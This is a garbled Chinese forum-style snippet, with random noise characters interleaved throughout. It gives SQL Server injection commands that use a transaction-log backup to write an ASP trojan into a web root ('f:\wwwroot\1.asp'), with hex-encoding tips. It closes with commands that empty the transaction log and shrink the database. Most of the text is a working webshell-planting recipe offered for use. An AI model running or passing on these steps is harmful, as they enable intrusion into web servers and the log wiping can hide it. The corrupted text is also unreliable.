select * from master.dbo.sysdatabases 列出所有列的记录2 Q8 s6 r* K% O% f" R( y
2 s) j" Q( k/ {. E8 N7 pselect name from master.dbo.sysdatabases 仅列出name列的记录
7 k# s% w( p6 q- e; `5 ^/ I0 q0 ?
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
% F% \5 U! i9 _% D3 ]% R! X1 O3 K: j( k7 K [; y8 O
alter database 数据库名 set RECOVERY FULL--
8 a0 W4 S. e) b" G1 x
- |; V0 Z6 s: _; r% X: Lcreate table cmd (a image)-- \**cmd是创建的临时表
2 y! {0 Z/ v6 ~9 ?# |6 @" e3 e
& m- K+ }2 E# z/ T0 r" k" Zbackup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
- ~" u3 d# F, b8 |
6 ^( @9 ?6 \3 S7 y! binsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
/ l6 }( v- ]3 F' t. L
* \& F2 ?) W r; i. V//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)4 v3 ~# X2 h4 {7 f: q
, b, A5 d5 \. ebackup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
; w' @6 z" E b8 u( ~# _2 @# l; ~: v' W
drop table cmd--+ L" K' L* ~% C7 V6 n) F
- O2 {6 D, q2 ~% [$ u
- z. R! e6 l5 ?3 f0 jf:\9 J9 @6 G' o+ `7 q8 Y, N3 e, o- b
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)
1 q2 l. y& W9 M
8 I0 A/ H1 M3 V) R# W( G最好多加几个回车0d0a,要不会出错哈
5 U+ }, m/ \7 G& o$ \4 O6 [
+ ~. v+ g f- P6 ^5 S* k) N: q+ d, o) B7 o; k
SQL Server日志清空方法 ' ]% E1 h9 f5 @' s" k
( `* A/ H; m7 C在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名 & |1 u, y- H, @) _5 E
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG $ R) f* |/ l' f! B, {
2 F7 v6 x& J s& ^; r4 V9 e: m! p) `
2.截断事务日志:BACKUP LOG databasename WITH NO_LOG 3 S" O- H3 b. L( h" w
, i/ a' X* K: R; y3.收缩数据库:DBCC SHRINKDATABASE(databasename)
' U+ W: N% S" n3 Z9 k |